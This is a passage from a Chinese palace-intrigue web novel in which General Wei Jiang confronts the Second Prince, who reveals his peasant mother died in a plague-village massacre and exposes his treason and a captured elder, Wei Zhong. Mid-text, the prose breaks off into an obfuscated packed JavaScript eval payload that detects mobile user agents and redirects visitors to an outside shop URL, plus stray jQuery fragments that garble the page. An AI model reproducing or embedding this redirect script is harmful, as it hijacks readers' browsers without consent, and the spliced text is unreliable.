“二殿下久等了。”卫疆神色如常,仿若方才的冷色是夏储休的错觉,此时烛火映照下,卫疆面上没了攻击性。


    夏储休挥手示意,围的密不透风的院子让出了一条路,一条只容许卫疆一人通行的路。


    身边侍卫原本并未接触过卫疆,毕竟自卫疆上任,不是跑去巫咸就是坐镇丰阳,在京中点卯的次数少之又少,可以说几近没有,是以卫疆单独上前,身边人也不会有几分发自内心的担忧。


    但方才宫外一战,倒真叫那些血性男儿看到了些不一样的风姿,传闻的卫家恶女,是真的有几分真本事的。


    “都督!”下意识脱口的担忧远比那心中弯绕的几分面子里子诚恳,虚无的脸面丢了干净,被一个女人带着,也没什么难堪的。


    卫疆回了个心安的眼神,悄悄背手打了个手势,便往里走了进去。


    “卫大人当真好功夫,本宫就知晓冯忠勇定阻拦不下你。”仔细打量着卫疆身上,借着光眼力极好的看到了染血衣衫上更为暗沉的红,眉眼弯着,眼神里闪烁着兴奋,“卫大人可对这大礼满意?真想集齐如此多的山匪流寇也不是件易事,至于感谢的话,便不必再说了……”


    话真多。


    夏储休叽里咕噜的絮叨如此之多,卫疆更是听的更是厌烦,打断道,“二殿下何须将下官放在心上。”


    说的明明是自谦之话,落到夏储休耳朵里却是变了味道。


    “怎么不需要,这场大戏的主人公是你,而不是本宫。”夏储休满脸不赞同的解释,可若是细看那双眼睛,里面燃着的满是怒火。


    “卫大人不会忘了三年前丰阳疫病的那场屠戮?或是需要本宫来帮你回忆回忆,正巧婉贵妃在这,也好见证本宫所说之话的真假。”


    眼神狠狠的盯着卫疆,夏储休头上青筋暴起,竭力的控制着自己暴怒的脾气,缓缓说道,“三年前你卫家打了胜仗回京,却恰巧遇上丰阳突发疫病被困,是以你们自然而然的便戍守在那,大发善心的帮助百姓渡过难关。”


    “可这病情太猛了,一传十十传百,最严重的村子里无一人幸免,于是你,卫疆,便要屠了整个村子,甚至还要一把火烧了他们!”


    声音带着几分微不可查的哽咽,夏储休指着卫疆的手指微微颤抖,“不是好奇为何本宫那么说,那是因为当年你所屠村中,有我的生母!”


    “她还有三日便可被接进宫中享受她这一世应该享受的荣华一生,夏季钟那老东西也已经松了口,可都被你毁了,卫疆,被你给毁了!”


    怒吼的声波震的烛火摇曳,在场之人除却薛淑,皆被这几句话惊的瞠目结舌。


    “是了,你一定好奇为何会有她,柳家的皇后不是本宫的母妃,那村子里被杀的人才是,可笑吗?你也觉得可笑吧,可笑一国皇子,生母竟然是个村子里出来的?”


    夏储休明明并未喝酒,此时却觉得有几分醉了,可他宁愿他是真的醉了,而不是这世上如今只剩下他孤苦一人。


    “你们夏中的好皇帝,看上的是他老子的妻子,强取豪夺还尤觉不够,将人生生的困在这四方高墙,美其名曰为宠爱,可这些不过是他虚伪好色的借口。”


    “你们不是也一样看不惯他,又何须装模作样?”夏储休轻哂。


    “三弟厌恶他将贵妃作为要挟同本宫争斗,婉贵妃厌恶他的多情狠辣,你,卫疆,你也厌恶他,卫家如此忠良世人皆知,可他偏偏要把你们捏成贪官,揉成反贼。就连被他那般信任的乌御史,不还是被毒药操控,你可找到了救命之法?”


    夏储休疯癫的指着几人,言语间蹦出些语不惊人死不休的话,可这些话却是句句戳进在场之人的心窝处,让人无可辩驳。


    卫疆心中也确实因着这几句话变得沉重,乌言身上的毒,她一直未找到解决之法。


    “承认吧,你们也同他一样虚伪,送进宫中的汤药你们又有几人未插手?本宫也不过是帮了你们一把,你们最是该感谢本宫!”


    “皇后的偏院原来便是母妃的住所,可就因她是姜国的人,便要受着委屈在这吃人的皇宫做个洒扫的宫女,凭什么?”


    “瞒不住了便要送出宫,夏季钟那老东西不管不顾,同其他人新婚燕尔,可笑!可笑至极!”


    极怒后的夏储休变成了一个替母伸冤的孩子,那泣血的寥寥数语便概括了一个女人悲苦的一生,可命运偏偏就是这般捉弄人,它顽皮的将不幸投掷在更更不幸的人身上。


    “你们都该死,而最该死的便是你卫家!”


    卫疆最是听不得这些话,长枪对准夏储休,齐刷刷的刀剑也冲着卫疆亮出,外围的卫兵见状亦严阵以待,一时之间,天似都被冷剑反射的烛火照亮了大半。


    “可这仍旧不是二殿下滥杀无辜的借口,你痛恨三年前丰阳疫病卫疆焚尸之法,可你又何尝没有让悲剧再次重演,你又杀了多少人的母亲?”


    突然插入的孩童声音倒是将现场剑拔弩张的怒气冲淡了几分,夏熠安飞身跃上宫墙,屈膝踩着墙边而坐,倒是颇有几分帝王之姿了。


    夏储休循声望去,“你倒是自己送上门来了。”


    “哥哥寻,弟弟定是要来的,只是下次莫要搞些逃跑的路数哄骗本宫,徒叫下人丢了命。”


    夏熠安下巴微点那地上尸体,卫疆才终在人影绰绰的缝隙里看到了点熟悉的影子,原来施与竟也是夏储休的人吗?


    那前世她身边又被安插了多少夏储休的人,意欲何为?


    “不过是个废棋,丢了便丢了。”夏储休好像从那怒火中脱离了出来,此时神色平常,方才的剑拔弩张似乎是众人错觉。


    “他说的再次上演是什么意思?”这种稀里糊涂的感觉差劲极了,卫疆拧着眉毛,脑海中不断拼凑着线索。


    夏储休挑眉,“卫大人这般聪慧,怎么如今犯糊涂了,还是觉得方才你只是听了个故事?”


    故事。


    夏储休生母的故事。


    生母,姜国。


    缠绕在水下的线索倏然紧绷浮出水面,一如总是差着一块的拼图,如今终于在卫疆脑海中补齐。


    夏储休为了替母报仇,让三年前疫病的悲剧重现,只是三年前或许是偶然,可数月前的却是蓄意而为。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603955|185108||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    不,三年前的疫病也是人为!


    卫疆攥着长枪的手有些微微出汗,三年前若是她没记错,便是前世她身死前后的时日。通敌叛国的罪名确实发生了,不过不是卫家,而是夏中的二皇子,夏储休!


    这仇冲着夏季钟去,确实有些重了,原来罪魁祸首竟是夏储休。


    卫疆竭力克制着心中的激动和怒火,声音极压着从嗓子里出来,“你叛国。”


    夏储休似是听到了天大的笑话,哈哈大笑,“叛国?这从来不是我的国。不过我倒是清楚了那赌约,你欲扶持这个乳臭未干的家伙登基,倒是有趣。原以为你是要站在那诺夫身边。”


    夏储休不经意的用下巴指了指久未开口的夏倚卿,他二人作为对手斗了这么些年,如今看他倒是生出了几分惺惺相惜。


    一个被迫捏造的傀儡棋子,当身上丝线崩断时,这木偶又能存活多久呢?


    夏倚卿被夏季钟胁着母妃威胁这么些年,也倒是还有几分血性,将一碗碗汤药送进宫中,他也愿助他一臂之力。


    “可你们又有什么资格?今日本宫敢在此同你们闲聊,便是有着足够的底气,你们靠什么?一张张能说会道的嘴,还是外面这些虾兵蟹将?”


    鄙夷的眼神掠过在场众人,夏储休决定再将这戏唱的更响,双手举起轻拍,一个低着头的血人被拖了进来。


    夏储休捏着那人的下巴,将面庞特意展示给卫疆,在看到卫疆瞳孔紧缩和颤抖的双手时,更是忍不住开怀。


    “卫大人可觉得惊喜?”


    那血人,正是原本被关押在天牢的卫忠。


    “卑鄙!”卫疆咬牙切齿,看向夏储休的眼神阴狠,恨不得能吃其肉、饮其血。


    卫疆算到夏储休定会连同着之前的新账旧账一同清算,是以天牢同锦衣卫两处她都安排了人手保护着,保护着卫忠和元芮茼。


    可她没想到还是被夏储休钻了空子。


    “这场大戏,如今才刚刚开始。”夏储休扫过在场众人,才点点头,“你们觉得本宫是恶人、坏人,那就评评理,看看当年那事,究竟是谁对谁错!”


    一把甩开卫忠下巴,夏储休歪歪头示意将卫忠弄醒,一瓢冷水伴着卫疆一声怒喊,卫忠悠悠转醒。


    而一旁的薛淑亦是面色难看,可却是抿着嘴,看向地面。


    “卫老身子骨受不得太久,本宫便善解人意的长话短说,如何?”


    卫忠胸口大力起伏,狼狈的抬眼,“二殿下不如让老夫坐在地上罢。”


    卫忠身宽体盘,身上都是腱子肉,如今重量都被系在两边侍卫的胳膊上,倒是让三人都不舒适。


    可夏储休竟然真的准予了,卫忠长叹着气跌坐在地,看着卫疆柔声道,“姑娘不必担忧。”


    卫疆吸了吸鼻子,暗道这天气着实太冷了些,冻的她鼻涕欲从眼角流出,增添笑话。


    夏储休端着手臂摩挲着下巴沉思,“从哪里开始说起呢?”


    这句问话无人领会,夏储休也不甚在意,继续絮叨。


    “从十二年前吧,那时本宫也才束发之年。”